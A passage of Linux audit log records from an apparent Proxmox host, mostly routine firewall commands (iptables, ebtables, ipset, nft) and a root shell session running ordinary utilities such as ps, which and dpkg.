a1=55ecb8ac8540 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60157 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226045,"@rawstring":"node=pve type=PATH msg=audit(1781966226.045:68993): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965528335,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965528.335:65998): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805856,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.856:62701): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12f870 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60156 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226045,"@rawstring":"node=pve type=PATH msg=audit(1781966226.045:68993): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965528335,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965528.335:65997): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805850,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.850:62700): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb9890860 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60155 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226039,"@rawstring":"node=pve type=PATH msg=audit(1781966226.039:68992): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965528335,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965528.335:65996): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964805712,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.712:62699): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60154 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226039,"@rawstring":"node=pve type=PATH msg=audit(1781966226.039:68992): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525425,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.425:65995): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964805705,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.705:62696): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60153 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226034,"@rawstring":"node=pve type=PATH msg=audit(1781966226.034:68991): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525419,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.419:65994): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964805039,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.039:62693): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d8d20 a1=64f8d73cf0e0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60152 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226034,"@rawstring":"node=pve type=PATH msg=audit(1781966226.034:68991): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525417,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.417:65993): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964805015,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964805.015:62692): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d2705620 a1=64f8d73adb90 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60151 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226027,"@rawstring":"node=pve type=PATH msg=audit(1781966226.027:68990): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525417,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.417:65992): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964804993,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964804.993:62691): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdd41f6b10 a1=64f8d740c6d0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60148 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226027,"@rawstring":"node=pve type=PATH msg=audit(1781966226.027:68990): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525409,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.409:65991): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964804210,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964804.210:62690): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c9e3470 a1=603c2c5a4f10 a2=603c2c9e5bd0 a3=8 items=2 ppid=60083 pid=60147 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"whoami\" exe=\"/usr/bin/whoami\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226019,"@rawstring":"node=pve type=PATH msg=audit(1781966226.019:68989): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525399,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.399:65990): proctitle=\"ip6tables-save\""} {"@timestamp":1781964800696,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964800.696:62689): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60146 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226019,"@rawstring":"node=pve type=PATH msg=audit(1781966226.019:68989): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525387,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.387:65989): proctitle=\"iptables-save\""} {"@timestamp":1781964800682,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964800.682:62686): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60145 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226012,"@rawstring":"node=pve type=PATH msg=audit(1781966226.012:68988): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525378,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.378:65988): proctitle=\"ip6tables-save\""} {"@timestamp":1781964796289,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.289:62683): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c5a5510 a1=603c2c5a3bd0 a2=603c2c9e5bd0 a3=0 items=2 ppid=60142 pid=60143 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"cat\" exe=\"/usr/bin/cat\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226012,"@rawstring":"node=pve type=PATH msg=audit(1781966226.012:68988): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525368,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.368:65987): proctitle=\"iptables-save\""} {"@timestamp":1781964796287,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.287:62682): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c5a66f0 a1=603c2ca0b690 a2=603c2c9e5bd0 a3=8 items=2 ppid=60140 pid=60141 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"cat\" exe=\"/usr/bin/cat\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226004,"@rawstring":"node=pve type=PATH msg=audit(1781966226.004:68987): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525367,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.367:65986): proctitle=\"ebtables-restore\""} {"@timestamp":1781964796263,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.263:62681): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c804d60 a1=603c2c804d00 a2=603c2c8248f0 a3=8 items=3 ppid=60083 pid=60135 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"which\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226004,"@rawstring":"node=pve type=PATH msg=audit(1781966226.004:68987): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525362,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.362:65985): proctitle=\"ebtables-restore\""} {"@timestamp":1781964796239,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.239:62680): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c5b2890 a1=603c2c81b930 a2=603c2c8248f0 a3=50 items=2 ppid=60112 pid=60114 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"tr\" exe=\"/usr/bin/tr\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226001,"@rawstring":"node=pve type=PATH msg=audit(1781966226.001:68986): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525355,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.355:65984): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964796235,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.235:62679): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c81b4b0 a1=603c2c7ec8a0 a2=603c2c8248f0 a3=8 items=2 ppid=60083 pid=60111 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"dpkg\" exe=\"/usr/bin/dpkg\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226001,"@rawstring":"node=pve type=PATH msg=audit(1781966226.001:68986): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525348,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.348:65983): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964796233,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.233:62678): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c81b810 a1=603c2c81b870 a2=603c2c8248f0 a3=8 items=2 ppid=60107 pid=60109 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225998,"@rawstring":"node=pve type=PATH msg=audit(1781966225.998:68985): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525340,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.340:65982): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964796232,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.232:62677): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c81b6e0 a1=603c2c81b4d0 a2=603c2c8248f0 a3=8 items=2 ppid=60107 pid=60110 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"head\" exe=\"/usr/bin/head\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225998,"@rawstring":"node=pve type=PATH msg=audit(1781966225.998:68985): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525335,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.335:65981): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964796232,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.232:62676): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c81b630 a1=603c2c81aa00 a2=603c2c8248f0 a3=50 items=2 ppid=60107 pid=60108 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225997,"@rawstring":"node=pve type=PATH msg=audit(1781966225.997:68984): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525329,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.329:65980): proctitle=697073657400726573746F7265"} {"@timestamp":1781964796229,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.229:62675): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c81ac20 a1=603c2c81af90 a2=603c2c8248f0 a3=50 items=2 ppid=60102 pid=60105 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"tr\" exe=\"/usr/bin/tr\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225997,"@rawstring":"node=pve type=PATH msg=audit(1781966225.997:68984): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525319,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.319:65979): proctitle=\"ip6tables-save\""} {"@timestamp":1781964796228,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.228:62674): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c81ab90 a1=603c2c81aa60 a2=603c2c8248f0 a3=8 items=2 ppid=60102 pid=60106 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"tr\" exe=\"/usr/bin/tr\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225997,"@rawstring":"node=pve type=PATH msg=audit(1781966225.997:68983): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525310,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.310:65978): proctitle=\"iptables-save\""} {"@timestamp":1781964796228,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.228:62673): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c81abd0 a1=603c2c81af40 a2=603c2c8248f0 a3=50 items=2 ppid=60102 pid=60104 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"head\" exe=\"/usr/bin/head\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225993,"@rawstring":"node=pve type=PATH msg=audit(1781966225.993:68982): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525303,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.303:65977): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964796227,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.227:62672): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c81aba0 a1=603c2c81b020 a2=603c2c8248f0 a3=50 items=2 ppid=60102 pid=60103 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225993,"@rawstring":"node=pve type=PATH msg=audit(1781966225.993:68982): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525291,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.291:65976): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964796220,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.220:62671): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c5b2c20 a1=603c2c7f0560 a2=603c2c7f06c0 a3=0 items=3 ppid=60083 pid=60098 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"which\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225993,"@rawstring":"node=pve type=PATH msg=audit(1781966225.993:68982): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525284,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.284:65975): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964796218,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.218:62670): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c5b2bc0 a1=603c2c7f0580 a2=603c2c7f06c0 a3=0 items=3 ppid=60083 pid=60097 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"which\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225985,"@rawstring":"node=pve type=PATH msg=audit(1781966225.985:68981): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525283,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.283:65974): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964796217,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.217:62669): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c7f04a0 a1=603c2c5b2b90 a2=603c2c7f06c0 a3=50 items=3 ppid=60083 pid=60096 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"which\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225985,"@rawstring":"node=pve type=PATH msg=audit(1781966225.985:68981): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525279,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.279:65973): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964796205,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.205:62668): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c725e60 a1=603c2c59dcb0 a2=603c2c59e620 a3=8 items=2 ppid=60083 pid=60093 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"dirname\" exe=\"/usr/bin/dirname\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225977,"@rawstring":"node=pve type=PATH msg=audit(1781966225.977:68980): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525271,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.271:65972): proctitle=\"ip6tables-save\""} {"@timestamp":1781964796189,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.189:62667): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c598b30 a1=603c2c595200 a2=603c2c71f710 a3=8 items=2 ppid=60083 pid=60091 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225977,"@rawstring":"node=pve type=PATH msg=audit(1781966225.977:68980): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525263,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.263:65971): proctitle=\"iptables-save\""} {"@timestamp":1781964796170,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.170:62666): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c59a5a0 a1=603c2c725490 a2=603c2c725520 a3=8 items=2 ppid=60083 pid=60087 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225970,"@rawstring":"node=pve type=PATH msg=audit(1781966225.970:68979): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525255,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.255:65970): proctitle=69707365740073617665"} {"@timestamp":1781964796156,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.156:62665): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c59b1d0 a1=603c2c725490 a2=603c2c725520 a3=8 items=2 ppid=60083 pid=60086 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225970,"@rawstring":"node=pve type=PATH msg=audit(1781966225.970:68979): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525246,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.246:65969): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964796143,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.143:62664): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c597f40 a1=603c2c599cd0 a2=603c2c598140 a3=8 items=2 ppid=60083 pid=60085 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"run-parts\" exe=\"/usr/bin/run-parts\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225963,"@rawstring":"node=pve type=PATH msg=audit(1781966225.963:68978): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965525237,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965525.237:65968): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964796141,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.141:62663): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c597480 a1=603c2c597fc0 a2=603c2c594c60 a3=8 items=2 ppid=60083 pid=60084 auid=0 